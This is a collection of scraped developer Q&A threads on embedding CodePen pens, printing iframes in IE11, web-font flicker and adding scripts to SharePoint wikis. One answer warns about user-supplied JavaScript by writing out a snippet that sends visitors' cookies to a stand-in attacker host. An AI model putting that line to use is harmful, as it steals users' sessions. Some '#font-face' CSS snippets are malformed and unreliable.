Desired Behaviour
Show embedded codepen in an environment where registered users can edit page content.
There may be more than one codepen added to a page.
Actual Behaviour
When adding a pen to the DOM, the pen does not display, only a link to the pen is displayed.
Steps To Reproduce
Note: the steps below are just to demonstrate the logic that would take place in my own environment, ie a registered user editing content on a website.
01) Go to this randomly selected pen
02) Click on the Embed link at the bottom right of the page
03) Copy contents from the HTML (recommended) tab
04) Go to https://blog.codepen.io/documentation/features/embedded-pens
05) Open Chrome developer tools, and replace a paragraph element with the embed code
06) The pen will not be displayed, only a link like:
See the Pen [pen_name] by [pen_author] on CodePen
Question
What additional steps do I need to make to ensure the codepen is rendered?
Given that the format of the embed code is:
<p class="codepen" data-height="300" data-theme-id="37516" data-default-tab="css,result" data-user="ste-vg" data-slug-hash="oKYjKV" style="height: 300px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="Clip Clop Clippity Clop">
<span>See the Pen <a href="https://codepen.io/ste-vg/pen/oKYjKV/">
Clip Clop Clippity Clop</a> by Steve Gardner (#ste-vg)
on CodePen.</span>
</p>
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>
it does seem a bit presumptuous to expect the script will just do its job when pasted in the page.
If that is the case, how do I dynamically add the contents (including the script tag) and ensure it is executed?
EDIT
I just came across this answer from 2010, which suggests this format:
$.getScript("https://static.codepen.io/assets/embed/ei.js", function(){
console.log("running new js!");
});
and when I run that in Chrome dev tools, after pasting the embed code in the DOM, the pen is rendered.
Is there anything wrong with this approach?
Why doesn't pasting the embed code in the DOM 'just work'?
Is the script file referenced in the embed code unique to the pen?
Or could you just add the script to your page once and it would handle all embedded pens (both existing and those dynamically added)?
I tried adding this to <head>:
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>
and having it there doesn't seem to parse existing or dynamically added embed code.
They still just display the message:
See the Pen [pen_name] by [pen_author] on CodePen
EDIT AGAIN
With script referenced in <head>, I tried calling this after dynamically adding the HTML to the DOM:
__CPEmbed()
And it renders the codepens!
I'm not sure if it is a legitimate way to do it, but I came across __CPEmbed at the end of the article here:
https://blog.codepen.io/documentation/prefill-embeds
I see you've figured it out! Yes, __CPEmbed() is the official API for triggering the iframe insertion. You can even feed it a specific selector if there are certain embeds you want to target: __CPEmbed('.my-codepen-embed')
It's triggered by default when the document.readyState !== 'loading', but you can call it at any time. Multiple calls should not affect already converted embeds.
I couldn't find this in our regular Embed documentation anymore, so I'm making a note to update that.
Thanks!
Related
On IE11 printing the page below, cuts the iframe at the bottom rather than letting it expand to the next page. How can I prevent that and make it print everything?
Note: to reproduce this issue, just paste the code below into notepad and open it in IE
<html >
<head>
<style>
.myiframe{
width:100%;
height:6000px;
}
</style>
</head>
<body>
<div>
<a href="javascript:print()" ><h1>Print</h1></a>
</div>
<iframe class="myiframe" id="myiframe" scrolling="no" src="https://en.wikipedia.org/wiki/Wiki"/>
<div>
The rest of the page
</div>
</body>
</html>
On chrome it works fine. the content of the iframe expands and are all printed
I tried to find some workarounds to get more or less to the same result. These solutions should work fine on any browser.
Look at the solution 4. It seems to be the closest to what you want to achieve. (With working example)
Solution 1: I think I've got a solution that is not perfect, but might do the job.
Just before printing, you replace the iframe with an image of the iframe. I found this library called iframe2image : https://github.com/twolfson/iframe2image.
To catch the printing event, you can use the answer to this question: https://stackoverflow.com/a/23170458/2525304
I haven't had the chance to test it, but I think you could get something going with this.
EDIT:
Solution 2: Here is another think that could work. You could use this Html to PDF api to first convert the content of the iframe to a pdf. Then include this pdf where the iframe was (by using PDF.js for example) and print the page.
Here is another api doing this: http://www.convertapi.com/web-pdf-api
EDIT 2:
Solution 3 (working example):
I just found this website that lets you embed a Save page to PDF button that will return a pdf version of the page the user is on. You could replace the print button on your page with this button and tell the user to print the generated pdf.
Working example
The only problem is that the user is sent on another website to download the file. I think you can get a direct link to the pdf file when paying for the basic membership (5$/month).
There might be similar services offering a direct links for free that I haven't found.
EDIT 3:
Solution 4 (with working example):
I just found a website that gives a direct link to the generated PDF file of the page. More information here: http://pdf-ace.com/save-as-pdf-button/
Working example (I replaced the Print button)
I actually just had to add a max-height element and set it as max-height: 100%; which is what allowed the page to continue on.
You should have three existing style elements, two of which you already wrote.
They are:
width: 100%;
height: 6000px;
max-height: 100%;
Your body has absolute positioning, I assume. Try to create and adjust the CSS height property of the absolutely positioned element(s). Since I don't have the markup and/or CSS, I can't say what height needs to be set on which element(s). More than likely, it's going to be either 100% or auto. Possibly even a combination of both.
When I copy and pasted the code you've provided into a file, then opened it and tried to print, I did receive the same issue. However, what I described above seemed to stretch/fix it with little to no issues.
How it's written for me currently:
.myiframe {
width: 100%;
height: 6000px;
max-height: 100%;
}
<div>
<a href="javascript:print()">
<h1>Print</h1>
</a>
</div>
<iframe class="myiframe" id="myiframe" scrolling="no" src="https://en.wikipedia.org/wiki/Wiki" />
<div>
The rest of the page
</div>
I'm working on a website that was created using WordPress. WordPress (or possibly a plugin, theme, or something else) is inserting the following CSS into the homepage:
<style type="text/css"> iframe { visibility: hidden; opacity: 0; } </style>
The above code is included as part of the original HTTP response received after a request for the homepage (I confirmed this using curl from my terminal).
I imagine the above code is part of a mechanism either to:
display the other content on the page as fast as possible and only display the elements after everything else has been displayed; or
display the elements only after dynamically setting their width, height, position, etc.
In Safari v9.1, the elements eventually get displayed. However, Firefox v47.0.1 failed to ever display the elements.
I can't provide a link to the actual website for privacy reasons.
Does anyone know what's going on? If not, does anyone have any suggestions about how I can find the Javascript code that is supposed to unhide the elements?
New to working with web UI. We have a complicated setup that takes code and generates resulting HTML 5 and CSS 3 with a bunch of javascript. I need to be able to capture the resulting HTML/CSS after taking the UI through a couple of workflows (that kick off a bunch of javascript DOM changes that I don't understand) so that I can work with my designer to tweak the layout and give back to the devs to change.
Is there a way to do this? I was able to copy the HTML from firebug but it still had references to the CSS on the server and there wasn't an easy way to download the CSS and update the HTML to point to them locally.
Thanks!
the following page will create a download link when you paste copied HTML into the box using firefox or chrome.
<html>
<b>Select All, Copy, and paste below to download the full copied HTML</b>
<div id=drop contentEditable
style="padding: 1em; height: 30em; background:#bbb;overflow:hidden; ">
</div>
<a id=out download=copied.html style=display:none> Download </a>
<script>
var out=document.getElementById("out"),
drop=document.getElementById("drop");
drop.onpaste=function doPaste(){
setTimeout(function(){
out.href="data:x-application/html,"+
escape(drop.innerHTML);
drop.style.display="none";
out.style.display="block";
}, 50);
};
</script>
</html>
to use with your site,
do stuff to make page change, then click an empty area of the page background and
press [CTRL]+[A] (win) or [CMD]+[A] (mac)
copy using right-click or keyboard
paste into the box in the file shown above
click "download" to download the resulting html file.
since it's a tiny file, i went ahead and threw a copy online so you can try it out; works pretty well for this page.
note that style info is converted to style attribs, so you don't need the css files, but at the same time, you don't have the filenames of the applied style, which some designers might want...
I am using the Google Webfont Loader to get my webfonts loaded with a callback and it is working fine.
Although, when a couple of components: Google +1 button, Twitter Search Widget and the Add This button is loaded, they add a new stylesheet to the DOM and makes the browser render the site again. This is causing the font-face to disappear and then show for each new stylesheet added to the dom.
I could hide the font entirely until the components are loaded but they tend to be pretty slow so that would leave me with a pretty bad user experience. About 1 sec of a headline-less site.
Andy tips on how to force font-face to not redraw or how to block dynamically loaded CSS from within Google, Twitter and FBs embed scripts?
Update: Demo here http://kristoferforsell.com/dev/fontexample/
This is currently an inherent issue with browsers and the #font-face property. The blink occurs when the font is loaded and the page updates to reflect the font. If you wish to remove the "blink" entirely, the only sure fire way is to include the font as a data URI in the style sheet. Of course, using the standard "safe" fonts will also remove the blink.
Data URIs allow you to actually embed the code for the font in the stylesheet so there's no blink when the page refreshes to show the desired font. Using data URIs, will obviously increase the file size (kb) of any style sheet.
An online converter to get base64 code can be found here
Usage for #font-face would be like so.....
#font-face {
font-family: "My Font";
src: url("data:font/opentype;base64,[ the base64 code here ]");
}
Not sure if it would fix your issue but you could use css to set the visibility of the elements to hidden until the font is loaded. Google's API provides wf-loading and wf-active classes which are added to the body to address this issue.
I always set up a separate stylesheet just for the #font-face rule, and within that put in the following rules, where replace is the class of the element that's being replaced, for you that would just be the p tag.
.wf-loading .replace { visibility: hidden;}
Yours would be
.wf-loading p { visibility: hidden;}
Then as soon as the webfont is loaded, JS puts the wf-active class on the body, and your text shows up. Let me know how that goes and if you have any issues then just drop me a line. It might also be worth doing some searching for "flash of unstyled content" or "flash of unstyled text" as this is a well known and well documented bug.
I can suggest a simple and dirty trick I have used myself to solve issues like this. If you implement this, from the user's side the effect will be that the entire page will load at once (with the correct Web Fonts), but after a delay. Once loaded, nothing will flicker or change.
Wrap your entire page contents in a div and set its visibility to hidden. Then use js to turn on the visibility once the whole page (stylesheets and all) is loaded.
Here's the code:
<head>
<script>
function show()
{document.getElementById('wrapper').style.visibility='visible';}
</script>
</head>
<body onload="show()">
<div id="wrapper">
...your entire page contents...
</div>
</body>
The onload ensures that the visibility is switched on only after the entire body has loaded. Although I haven't used Web Fonts, I use this trick to fade in the entire contents of this website with no changing or updating afterwards. But yes, there will be a delay before the entire page comes into view.
EDIT: I added Google Web Fonts to the site I linked. Still works fine. No font-face flickering.
This is a shot in the dark, as I've not tested it:
Could you create another html page with only those social networking buttons, and then load that into an iframe? Then only set the src to the iframe once the document is fully loaded, so it doesn't hold anything up.
In html:
<iframe id="socialMedia"></iframe>
In script:
$(document).ready(function() {
$('#socialMedia').src = "http://mysite.com/mysocialmediastrip.html";
});
Where mysocialmediastrip.html contains all the social media buttons. Setting the src will cause that iframe to reload and pull in that content, but IIRC, the rest of the page will be left alone -- all of the button rendering will have been done in mysocialmediastrip.html, not in your main page.
I totally understand what you are saying about the delay process, waiting while window loads before you actually show your goods. Abhranil provided a good solution but you can take his solution further. You can use jQuery's ajax to load your specific page content that's using the special font type. Why? because ajax comes with a special function called beforeSend(). Within the beforeSend function(), you can load a very cool gift animation that will display on your screen, before your main content is ready to viewed.
Use that moment to show some creativity towards your audience, before the main event!
The best and most simple answer is adding font-display: block when specifying a font face
#font-face {
font-display: block; /* Fix flickering */
}
You should also preload the font in the html file
<head>
<link rel="preload" as="font" href="/path_to_your_font.ttf">
<-- repeat for all typeface -->
</head>
How can I, as the wiki admin, enter scripting (Javascript) into a Sharepoint wiki page?
I would like to enter a title and, when clicking on that, having displayed under it a small explanation. I usually have done that with javascript, any other idea?
If the wiki authors are wise, there's probably no way to do this.
The problem with user-contributed JavaScript is that it opens the door for all forms of evil-doers to grab data from the unsuspecting.
Let's suppose evil-me posts a script on a public web site:
i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
Now I will receive the cookie information of each visitor to the page, posted to a log on my server. And that's just the tip of the iceberg.
Assuming you're the administrator of the wiki and are willing display this on mouseover instead of on click, you don't need javascript at all -- you can use straight CSS. Here's an example of the styles and markup:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type="text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
With some more involved styles, your tooltip box can look as nice as you'd like.
It completely depends on the specific Wiki software you are using. The way I've seen work is to host a js file somewhere else and then include with a script tag with a src attribute.
If they don't allow that, maybe they allow an IFRAME that you can set to a page that includes the script. Using the second technique, you won't be allowed to access the host page's DOM.
I like the CSS answer. When you can use CSS instead of Javascript it results in simpler markup.
Another thing to look into is the Community Kit for SharePoint Enhanced Wiki Edition on Codeplex. You can download the source code and add in your own features. Or you can suggest this as a new feature in the forum.
Use a Content Editor Web Part
From the ribbon, select Insert and choose Web Part. From the menu, go to Media and Content and choose Content Editor. From the newly created webpart's dropdown menu, choose Edit Web Part. From the right webpart settings menu, expand Appearance and set Chrome Type to None. Click Click Here to Add Content on the webpart and locate Edit HTML Source in the ribbon. You can use HTML in this area without it being sanitized away.
Note: If you plan on adding behaviours to lots of page elements, you may want to upload .js files to Style Library and include only the <script src="..."> tag in the Content Editor. You may also want to look into using a custom master or page layout.
Source: https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages
That sounds like a security risk. It seems it's possible for the wiki admin to install scripts, see wikipedia's user scripts.
If you're talking about using Javascript as part of a web page on this site, you can't. Or any other public wiki for that matter - it's a security risk.
If you're talking about posting a code sample, click on the '101010' button above the text box.
It would of course depend on the wiki engine you're talking to. Most likely though, as sblundy says, it would be a security risk to allow free usage of javascript on the wiki page.
You should not be able to add javascript code for any public wiki. If you are hosting it yourself, then you need to ask for a specific wiki system so someone can help you to modify the settings - if at all possible for that system.
Add title="text here" to any tag and it should show a text when hovering on it.
Internet Explorer shows the text when you use the alt="text here" attribute, although that is not according to the standards.
I tested now, and you can add <h2 title="some explanation here">headline</h2> to any system based on wikimedia (the one Wikipedia uses).